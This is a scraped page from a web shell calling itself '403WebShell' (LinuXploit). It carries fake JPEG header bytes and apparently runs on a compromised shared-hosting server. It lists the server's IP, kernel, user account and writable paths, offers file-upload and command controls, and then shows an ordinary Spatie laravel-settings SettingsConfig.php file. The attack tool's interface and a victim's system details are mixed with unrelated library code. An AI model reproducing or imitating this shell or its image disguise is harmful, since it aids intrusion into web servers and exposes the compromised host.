����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.223.112.12
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./cbt.bofirm.com/vendor/spatie/laravel-settings/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./cbt.bofirm.com/vendor/spatie/laravel-settings/src//SettingsConfig.php
<?php

namespace Spatie\LaravelSettings;

use Exception;
use Illuminate\Support\Collection;
use ReflectionClass;
use ReflectionProperty;
use Spatie\LaravelSettings\Factories\SettingsCastFactory;
use Spatie\LaravelSettings\Factories\SettingsRepositoryFactory;
use Spatie\LaravelSettings\SettingsCasts\SettingsCast;
use Spatie\LaravelSettings\SettingsRepositories\SettingsRepository;

class SettingsConfig
{
    /** @var string|\Spatie\LaravelSettings\Settings */
    private string $settingsClass;

    /** @var array<string, ?\Spatie\LaravelSettings\SettingsCasts\SettingsCast>|\Illuminate\Support\Collection */
    private Collection $casts;

    /** @var array<string, \ReflectionProperty>|\Illuminate\Support\Collection */
    private Collection $reflectionProperties;

    /** @var string[]|\Illuminate\Support\Collection */
    private Collection $encrypted;

    /** @var string[]|\Illuminate\Support\Collection */
    private Collection $locked;

    private SettingsRepository $repository;

    public function __construct(string $settingsClass)
    {
        if (! is_subclass_of($settingsClass, Settings::class)) {
            throw new Exception("Tried decorating {$settingsClass} which is not extending `Spatie\LaravelSettings\Settings::class`");
        }

        $this->settingsClass = $settingsClass;

        $this->reflectionProperties = collect(
            (new ReflectionClass($settingsClass))->getProperties(ReflectionProperty::IS_PUBLIC)
        )->mapWithKeys(fn (ReflectionProperty $property) => [$property->getName() => $property]);

        $this->casts = $this->reflectionProperties
            ->map(fn (ReflectionProperty $reflectionProperty) => SettingsCastFactory::resolve(
                $reflectionProperty,
                $this->settingsClass::casts()
            ));

        $this->encrypted = collect($this->settingsClass::encrypted());

        $this->repository = SettingsRepositoryFactory::create($this->settingsClass::repository());
    }

    public function getName(): string
    {
        return $this->settingsClass;
    }

    public function getReflectedProperties(): Collection
    {
        return $this->reflectionProperties;
    }

    public function getRepository(): SettingsRepository
    {
        return $this->repository;
    }

    public function getGroup(): string
    {
        return $this->settingsClass::group();
    }

    public function isEncrypted(string $name): bool
    {
        return $this->encrypted->contains($name);
    }

    public function isLocked(string $name): bool
    {
        return $this->getLocked()->contains($name);
    }

    public function getCast(string $name): ?SettingsCast
    {
        return $this->casts->get($name);
    }

    public function lock(string ...$names): self
    {
        $this->locked = $this->getLocked()->merge($names);

        $this->repository->lockProperties(
            $this->getGroup(),
            $names
        );

        return $this;
    }

    public function unlock(string ...$names): self
    {
        $this->locked = $this->getLocked()->diff($names);

        $this->repository->unlockProperties(
            $this->getGroup(),
            $names
        );

        return $this;
    }

    public function getLocked(): Collection
    {
        if (! empty($this->locked)) {
            return $this->locked;
        }

        return $this->locked = collect(
            $this->repository->getLockedProperties($this->settingsClass::group())
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit